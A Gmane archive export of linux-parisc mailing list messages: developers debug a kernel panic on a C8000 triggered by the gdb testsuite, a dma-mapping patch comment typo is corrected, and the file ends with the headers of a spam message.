Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 27 18:40:54 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1efUTF-0005RD-Rx
	for glpp-linux-parisc@m.gmane.org; Sat, 27 Jan 2018 18:40:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753162AbeA0Rm4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 27 Jan 2018 12:42:56 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:50977 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752108AbeA0Rm4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 27 Jan 2018 12:42:56 -0500
Original-Received: (qmail 11746 invoked from network); 27 Jan 2018 17:42:54 -0000
Original-Received: from dslb-088-071-097-001.088.071.pools.vodafone-ip.de ([::ffff:88.71.97.1]:58512 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Sat, 27 Jan 2018 18:42:54 +0100
In-Reply-To: <2a632168-7608-736b-22df-64ca702b34d5@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28288>

--nextPart68963196.udETrsNKch
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Freitag, 26. Januar 2018, 23:31:46 schrieb Helge Deller:
> On 25.01.2018 16:36, Rolf Eike Beer wrote:
> > John David Anglin wrote:
> >> On 2018-01-25 3:59 AM, Rolf Eike Beer wrote:
> >>> [  909.756303] Kernel panic - not syncing: Bad Address (null pointer
> >>> deref?) [  909.756303] ---[ end Kernel panic - not syncing: Bad Address
> >>> (null pointer deref?)
> >>> 
> >>> This is actually the second place where it breaks, before that I had the
> >>> same>> 
> >>> with this test (twice):
> >> Would you post the PIM dump of the most recent HPMC in the service
> >> menu?
> > 
> > The service menu does not give any information, as in this older bug:
> > https://bugs.gentoo.org/481768
> FWIW, I've tested the testcase from
>  https://bugs.gentoo.org/481768
> on a debian system:
> Linux panama.osuosl.org 4.14.0-2-parisc64-smp #1 SMP Debian 4.14.7-1
> (2017-12-28) parisc64 GNU/Linux gdb was version 7.12-6+b1
> 
> On debian I can not reproduce the crash.
> 
> With this sequence:
> (gdb) break gdb-crash.c:14
> (gdb) run
> (gdb) set tp = {0,0}
> 
> tp isn't initialized yet before you reach line 25, and as such it points to
> random memory. I you try to set tp, it depends on what happens (but agreed,
> it shouldn't crash the kernel).
> 
> The Debian kernel hasn't any additional hppa-specific patches.

I'm using vanilla, so nothing on my side either.

> >> Also needed
> >> is the assembler dump of the routine where the HPMC occurred in your
> >> kernel.  You need the
> >> 64-bit version of objdump for this.
> 
> I wonder why there isn't any kernel backtrace...

This was with "dmesg -n 8". Without it has shown only the "Bad address" and 
"end Kernel panic" lines, which is IMHO bad by itself.

> Does gentoo uses special compiler-optimization flags?

I have none.

> > I have put the kernel on https://opensource.sf-tec.de/c8000-kernel.tar.xz
> 
> I'd suggest you put some debugging code in your kernel, e.g. in
> compat_ptrace_request() in kernel/ptrace.c.
> I think gdb uses PTRACE_POKEDATA to set some userspace memory of a process.
> It's generic code, so I wonder why it should crash on parisc.
> 
> You may look at compat_arch_ptrace() in arch/parisc/kernel/ptrace.c too, but
> it doesn't touch memory as far as I can see...

I will not be able to touch any of this until at least mid of next week. If 
you want to give it a try, check gdb 7.12.1 testsuite. It was one of the first 
tests that hit this.

Eike
--nextPart68963196.udETrsNKch
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAlpsuhoACgkQXKSJPmm5/E6FgACfWxuDW1LIw2xutY5oQYfK2e8c
S5YAn0zMlWvmjPy6svhcGgW7jp9cYZaQ
=Es2b
-----END PGP SIGNATURE-----

--nextPart68963196.udETrsNKch--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Sat, 27 Jan 2018 19:41:03 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <d071a2c0-fb08-639e-36ef-b769e195cfff@gmx.de>
References: <11946948.1Lt8Nslq4k@devpool21>
 <57873f7fe3e5227fcf2f4ed20407f2b6@sf-tec.de>
 <2a632168-7608-736b-22df-64ca702b34d5@gmx.de>
 <2594108.Soefd0VDuM@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1517078385 10129 195.159.176.226 (27 Jan 2018 18:39:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 27 Jan 2018 18:39:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 27 19:39:40 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1efVNw-0001Y9-43
	for glpp-linux-parisc@m.gmane.org; Sat, 27 Jan 2018 19:39:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751337AbeA0Slc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 27 Jan 2018 13:41:32 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:58872 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751267AbeA0Slb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 27 Jan 2018 13:41:31 -0500
Original-Received: from [192.168.20.60] ([193.159.25.50]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M6SJX-1ezwfM2SQl-00yNB7; Sat, 27
 Jan 2018 19:41:03 +0100
In-Reply-To: <2594108.Soefd0VDuM@daneel.sf-tec.de>
Content-Language: en-US
X-Provags-ID: V03:K0:aYs+N9UH/6N7gkhXwtP5NHii+u1M97YCq+K21q3RS4Mo+4RIA7y
 o5Jq6foKvizKbF0IRuxsn5pKb1J5SUVaUmwQmKfTigFUGpTZsxDkbcTkTrKbtX6B1bbjyNR
 csvIRVzQSMJ1Nck/7jzgSXZtmPu557/pAyxeUKtRAAdDbPPMYa+qDJs4HPTBQHpAmVGuWdl
 4MpLFq1Qe/J6qwVXXwMGA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0qWHjdj8q8c=:Zm2xZXxH391KvH7+ne42tC
 vTq4yhtSqLAgIFBM8A+4QsS6vx0k4QSpU4vicFEWMdmqXjqjfwcPa/H0cjbqSibJgXrlzkYw+
 nijDyvfHM69I9nDf9L3c+ymSuq8lz4yviEAwXcnfXu2tD4OTdVTO5bbjrPh848E1U5TC2305S
 BhWa0th2QV0edPxIItof20pbeWfK3FJKismP+q53zELloDtaYR+CfCy9ivwzm61nT7vFjN74/
 m+zBt6A3olL4QhScEyeNsYxAWEHarCfJoCt51gCYbi5/iQR/7GTFyiX96zXuStoOd3yeQcKxO
 K6Y6OH2LF873BFEku6Yj+5zLU5AeZh2ewJWtIBUdvxJ+NmmNuaDiSuN3nLFtOvm5Yu5UL45xb
 cl+Zc3r18/pTyA0F81keXxNrPdCYRnhzI9IU4Tdjkh5u0vQdw7uuPXuLOwm7dM4glIeE06W0P
 apnOqRQOV2R7vzkz+Nag0IH5GYL9sDtkqTnCpn0noD6xXoyv2wb+d4+C5zEAb0hdooU2mvF6P
 cSF7ebah9BLrBUsQ6JDUyxuPhOtpHYUbujj96iPAGOG/vam+XqYF0/5wmbAxbwExjcDPCLxwv
 w34w51vM1QmSYLde+3fMTacIz9B6O2gvMw0YB7R5hRXPiJR3MGtEXjaTsc1HygXc4qabJlzja
 QOkZ0hb9L/Zve7jZ1ki+8C/sNAvjuAEL7mUyvGyeryc6srsv3gYzLTqTn6IGRppQM7xYOG3eP
 +YITV/J5co7zkYZ6XK/Aw+5d6j51LVr2Q35UOoWGg19TF0BrbTlmgu0S2mVmOynzo+38EwDn 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28289
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28289>

Hi Rolf,

On 27.01.2018 18:42, Rolf Eike Beer wrote:
> Am Freitag, 26. Januar 2018, 23:31:46 schrieb Helge Deller:
>> On 25.01.2018 16:36, Rolf Eike Beer wrote:
>>> John David Anglin wrote:
>>>> On 2018-01-25 3:59 AM, Rolf Eike Beer wrote:
>>>>> [  909.756303] Kernel panic - not syncing: Bad Address (null pointer
>>>>> deref?) [  909.756303] ---[ end Kernel panic - not syncing: Bad Address
>>>>> (null pointer deref?)
>>>>>
>>>>> This is actually the second place where it breaks, before that I had the
>>>>> same>> 
>>>>> with this test (twice):
>>>> Would you post the PIM dump of the most recent HPMC in the service
>>>> menu?
>>>
>>> The service menu does not give any information, as in this older bug:
>>> https://bugs.gentoo.org/481768
>> FWIW, I've tested the testcase from
>>  https://bugs.gentoo.org/481768
>> on a debian system:
>> Linux panama.osuosl.org 4.14.0-2-parisc64-smp #1 SMP Debian 4.14.7-1
>> (2017-12-28) parisc64 GNU/Linux gdb was version 7.12-6+b1
>>
>> On debian I can not reproduce the crash.
>>
>> With this sequence:
>> (gdb) break gdb-crash.c:14
>> (gdb) run
>> (gdb) set tp = {0,0}
>>
>> tp isn't initialized yet before you reach line 25, and as such it points to
>> random memory. I you try to set tp, it depends on what happens (but agreed,
>> it shouldn't crash the kernel).
>>
>> The Debian kernel hasn't any additional hppa-specific patches.
> 
> I'm using vanilla, so nothing on my side either.
> 
>>>> Also needed
>>>> is the assembler dump of the routine where the HPMC occurred in your
>>>> kernel.  You need the
>>>> 64-bit version of objdump for this.
>>
>> I wonder why there isn't any kernel backtrace...
> 
> This was with "dmesg -n 8". Without it has shown only the "Bad address" and 
> "end Kernel panic" lines, which is IMHO bad by itself.
> 
>> Does gentoo uses special compiler-optimization flags?
> 
> I have none.
> 
>>> I have put the kernel on https://opensource.sf-tec.de/c8000-kernel.tar.xz
>>
>> I'd suggest you put some debugging code in your kernel, e.g. in
>> compat_ptrace_request() in kernel/ptrace.c.
>> I think gdb uses PTRACE_POKEDATA to set some userspace memory of a process.
>> It's generic code, so I wonder why it should crash on parisc.
>>
>> You may look at compat_arch_ptrace() in arch/parisc/kernel/ptrace.c too, but
>> it doesn't touch memory as far as I can see...
> 
> I will not be able to touch any of this until at least mid of next week. If 
> you want to give it a try, check gdb 7.12.1 testsuite. It was one of the first 
> tests that hit this.

As I said before, I can't reproduce this on debian.
gdb does not (and never has) crash(ed) the system, as can be seen in the various build logs:
 https://buildd.debian.org/status/logs.php?pkg=gdb&arch=hppa
e.g.:
 https://buildd.debian.org/status/fetch.php?pkg=gdb&arch=hppa&ver=7.12-6%2Bb1&stamp=1507997688&raw=0

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Sun, 28 Jan 2018 14:01:25 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <5A6E1E05.1050402@bell.net>
References: <11946948.1Lt8Nslq4k@devpool21>
 <57873f7fe3e5227fcf2f4ed20407f2b6@sf-tec.de>
 <2a632168-7608-736b-22df-64ca702b34d5@gmx.de>
 <2594108.Soefd0VDuM@daneel.sf-tec.de>
 <d071a2c0-fb08-639e-36ef-b769e195cfff@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1517165998 7796 195.159.176.226 (28 Jan 2018 18:59:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 28 Jan 2018 18:59:58 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.5.0
To: Helge Deller <deller@gmx.de>,
        Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 28 19:59:54 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1efsAq-0005nj-R1
	for glpp-linux-parisc@m.gmane.org; Sun, 28 Jan 2018 19:59:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752213AbeA1TBd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 28 Jan 2018 14:01:33 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:50098 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752195AbeA1TBd (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 28 Jan 2018 14:01:33 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180128190126.GSA32387.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 28 Jan 2018 14:01:26 -0500
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by torspm02.bell.net
          with ESMTP
          id <20180128190126.TBMF31064.torspm02.bell.net@[192.168.2.49]>;
          Sun, 28 Jan 2018 14:01:26 -0500
In-Reply-To: <d071a2c0-fb08-639e-36ef-b769e195cfff@gmx.de>
X-Cloudmark-Analysis: v=2.2 cv=QPOHfkDL c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=N659UExz7-8A:10 a=RgaUWeydRksA:10 a=xNf9USuDAAAA:8 a=FBHGMhGWAAAA:8 a=l8qdjtV0XkFXr_Pn2KwA:9 a=pILNOxqGKmIA:10 a=Oo4RUI8smAYA:10 a=SEwjQc04WA-l_NiBhQ7s:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28290>

On 2018-01-27 1:41 PM, Helge Deller wrote:
> As I said before, I can't reproduce this on debian.
> gdb does not (and never has) crash(ed) the system, as can be seen in the various build logs:
>   https://buildd.debian.org/status/logs.php?pkg=gdb&arch=hppa
I just built binutils-gdb trunk successfully.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Randy Dunlap <rdunlap@infradead.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 22/34] dma-mapping: add an arch_dma_supported hook
Date: Fri, 2 Feb 2018 09:47:23 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <5d7dfb29-eeef-2280-13c9-5260e9104f67@infradead.org>
References: <20180112084232.2857-1-hch@lst.de>
 <20180112084232.2857-23-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1517593561 14370 195.159.176.226 (2 Feb 2018 17:46:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Feb 2018 17:46:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 Konrad Rzeszutek Wilk <konrad@darnok.org>, linux-snps-arc@lists.infradead.org,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Feb 02 18:45:54 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1ehfP7-0002QK-6i
	for linux-arm-kernel@m.gmane.org; Fri, 02 Feb 2018 18:45:37 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=lVIIme6Jt6IhTbkXZiY+PAPS8MQ/8RDT2Vt7EuQJO88=; b=QySTwjJwAvqnh7
	r4gu4lkTUP9tp/zaluUeEnKdryw6NHNzaQhly68EZQeaTDWBqZ3S3MU895j/wewsRl+nNU4CgNnJg
	YDT8IykYC3jbtU8kkdniD92TMefRDz6VQgt0Lg+g4KZK2xbA3EokRhFR+KwVLQ3HbL9kV+nX7OI8x
	u+TTxB2FPcs0v4qhkQafX6kavHVKl5AtzdqbZIzLKEKcsxMctrZLM+3Y9l1+ixu2MrPiGGuyU8jMm
	9zxbP8yg3eo3lNw3i7iqQEWewfkkHDx8iPEO8DcYgubKcUMBaccl8dULmknoGn5M5UAAWgzmkEzc7
	kYq3nyazG/jPfhxVKoiA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1ehfR7-0001Qs-Jd; Fri, 02 Feb 2018 17:47:41 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.89 #1 (Red Hat Linux))
 id 1ehfR5-0001PT-IN; Fri, 02 Feb 2018 17:47:39 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=Content-Transfer-Encoding:Content-Type:
 In-Reply-To:MIME-Version:Date:Message-ID:From:References:Cc:To:Subject:Sender
 :Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
 Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:
 List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=wOahYfPH3eqAbGWl///EiVWN8yzu/m5QdifGTHB8Dgc=; b=bWdqdLJiICz/HhEQHmVEEI9V5I
 b2NnwYz3+AT9i6+gB90OLvygXVj+ETZUSoe4TY2NtRL1Ou2id6xAZwEf3UpLgaU44Cpx7JjjkQUP3
 etDxjgstCKm66c3EY/JUQ8XY6Ivaeunqcb+BTwgb8tSrTnTqiOFnsiZlhrFRMwrqTP3Kl+2Qc44Ou
 TEJzNs5IBKctMdwM4eoAEUgV1xZQG08+UMNH/3LlgcjU/Ui7UJL72bQSYxJbnr0VBvgxF0AsSfrsx
 MZiu506SOcRAg/Z80PEz4X36xfUD/2XBHdrL18WV2G9A4x+vZrlAqDWJVfy2nGPbWeBgO1dzgxy7+
 nmOySb5Q==;
Original-Received: from static-50-53-52-16.bvtn.or.frontiernet.net ([50.53.52.16]
 helo=dragon.site)
 by merlin.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1ehfQv-0003Qh-7c; Fri, 02 Feb 2018 17:47:29 +0000
In-Reply-To: <20180112084232.2857-23-hch@lst.de>
Content-Language: en-US
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:629548 gmane.linux.kernel.iommu:22550 gmane.linux.ports.mips.general:63649 gmane.linux.ports.ia64:28646 gmane.linux.ports.sh.devel:56573 gmane.linux.ports.sparc:27319 gmane.linux.kernel.cross-arch:42154 gmane.linux.ports.hexagon:1591 gmane.linux.kernel.arc:3401 gmane.linux.kernel.metag:1666 gmane.linux.ports.parisc:28291 gmane.linux.kernel:2681661 gmane.linux.ports.alpha:4771 gmane.linux.ports.ppc64.devel:152801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/629548>

On 01/12/2018 12:42 AM, Christoph Hellwig wrote:
> To implement the x86 forbid_dac and iommu_sac_force we want an arch hook
> so that it can apply the global options across all dma_map_ops
> implementations.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/x86/include/asm/dma-mapping.h |  3 +++
>  arch/x86/kernel/pci-dma.c          | 19 ++++++++++++-------
>  include/linux/dma-mapping.h        | 11 +++++++++++
>  3 files changed, 26 insertions(+), 7 deletions(-)

> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index 88bcb1a8211d..d67742dad904 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -576,6 +576,14 @@ static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
>  	return 0;
>  }
>  
> +/*
> + * This is a hack for the legacy x86 forbid_dac and iommu_sac_force. Please
> + * don't use this is new code.

                     in new code.

> + */
> +#ifndef arch_dma_supported
> +#define arch_dma_supported(dev, mask)	(1)
> +#endif


-- 
~Randy

From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Business Group (gclkjvq)" <wfpzy-Y9sIeH5OGRo@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.network.general,gmane.linux.nfs,gmane.comp.file-systems.nilfs.user,gmane.linux.ports.arm.omap,gmane.linux.ports.parisc,gmane.linux.parport,gmane.linux.kernel.pci,gmane.linux.kernel.pcmcia.devel,gmane.linux.kernel.perf.user
Subject: =?windows-1251?B?UmU6WzVdIGxpbnV4LW5ldEB2Z2VyLmtlcm5l?=
 =?windows-1251?B?bC5vcmcgV2Ugb2ZmZXIgRS1tYWlsIGRhdGFi?=
 =?windows-1251?B?YXNlcyB3aXRoIDgwJSBkaXNjb3VudCAvIM/w?=
 =?windows-1251?B?5eTr4OPg5ewgRS1tYWlsIOHg5/sg8SA4MCUg?=
 =?windows-1251?B?8ero5Oru6Q==?=
Date: Tue, 6 Feb 2018 07:54:40 +0300
Organization: Business Group (cjkj)
Lines: 20
Approved: news@gmane.org
Message-ID: <0702B4E7EC3817F4282D64F3F79EF66C@263.net>
Reply-To: "Business Group \(gclkjvq\)" <dwtwwoj-o+MxOtu4lMCHXe+LvDLADg@public.gmane.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="cp1251"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1517892820 14909 195.159.176.226 (6 Feb 2018 04:53:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Feb 2018 04:53:40 +0000 (UTC)
To: <linux-net-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-net-4ESfhGDvgol+CIkdHa1UOg@public.gmane.org>,
 <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-nilfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <linux-ntfs-dev-TtF/mJH4Jtrk1uMJSBkQmQ@public.gmane.org>, <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>,
 <linux-nvme-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>, <linux-omap-open-source-P3Mejjx7fphMeHKdZgrLhA@public.gmane.org>,
 <linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-omap-OBmyj6YDURU@public.gmane.org>,
 <linux-oxnas-Xt5XgHjqiBU06sgRBLv0+0B+6BGkLq7r@public.gmane.org>, <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <linux-parport-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>, <linux-pci-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org>, <linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <linux-pcisupport-ZM4KX8k1dDJhUPSOf7nbvg@public.gmane.org>, <linux-pcmcia-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
 <linux-perf-users-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-pm-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Feb 06 05:53:34 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1eivFl-00027D-Th
	for gln-linux-nvdimm@m.gmane.org; Tue, 06 Feb 2018 05:53:10 +0100
